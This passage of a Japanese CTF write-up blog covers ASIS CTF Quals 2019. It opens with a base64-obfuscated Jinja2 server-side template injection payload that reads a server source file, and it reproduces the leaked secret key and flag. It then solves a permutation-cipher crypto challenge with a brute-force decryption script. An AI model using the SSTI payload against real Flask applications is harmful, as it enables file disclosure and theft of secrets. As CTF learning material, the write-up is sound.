{{ []['X19jbGFzc19f'['decode']('base64')]['X19iYXNlX18='['decode']('base64')]['X19zdWJjbGFzc2VzX18='['decode']('base64')]()[40]('Zm9ydC5weQ=='['decode']('base64'))['read']() }}
応答は次の通り。
SECKEY = "some random key for signing 70657529378630738104827452603621" FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}" CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253")) PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ]) def history(): return session.get("history", []) def visit(door): session["history"] = history() + [door] if len(session["history"]) > len(CORRECT_BEHAVIOUR): session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):] def credit(): credit = 0 hst = history() for i in range(len(hst)): for j in range(len(hst) - i): if hst[i + j] == CORRECT_BEHAVIOUR[j]: credit += j else: break return credit def trustworthy(): return credit() == PERFECT_CREDIT
flagはコードに書いてある通り。
ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}
*1:詳しいことは https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti を読めばわかる
ASIS CTF Quals 2019 - A delicious soup Writeup
暗号化されたflagであるflag.enc
とflagを暗号化するsimple_and_delicious.py
が与えられる。
simple_and_delicious.py
では次のような処理をしている。
- 先頭の文字を末尾に移動(abcd -> bcda)
- 文字列を奇数番目の文字と偶数番目の文字に分け、奇数番目、偶数番目の順で連結(bcda -> bdca)
- 先頭の文字を末尾に移動(bdca -> dcab)
- 長さ7の変換テーブルに従い文字列をシャッフル(テーブルが[2, 3, 0, 1]の場合、dcab -> abdc)
- 1.から4.を1337回以下の規定の回数繰り返す
ここで、4.と5.は暗号化処理の実行のタイミングでランダムに決まる。上記の処理の逆を実装し、変換テーブルとイテレーションの回数を総当たりで試すことでflagが手に入る。
import itertools enc_flag = "11d.3ilVk_d3CpIO_4nlS.ncnz3e_0S}M_kn5scpm345n3nSe_u_S{iy__4EYLP_aAAall" def decrypt(msg, perm): res = [] W = len(perm) for j in range(0, len(msg), W): for k in range(W): res.append(msg[j:j+W][perm[k]]) res = list(res[-1]) + res[:-1] s = [] for i in range(len(res) // 2): s.append(res[i]) s.append(res[i + len(res) // 2]) res = s res = list(res[-1]) + res[:-1] return "".join(res) perm = range(7) for p in itertools.permutations(perm): print(p) flag = enc_flag for _ in range(1338): flag = decrypt(flag, p) if flag[:5] == "ASIS{": print(flag) exit()
ASIS{1n54n3ly_Simpl3_And_d3lic1Ous_5n4ckS_eVEn_l4zY_Pe0pL3_Can_Mak3}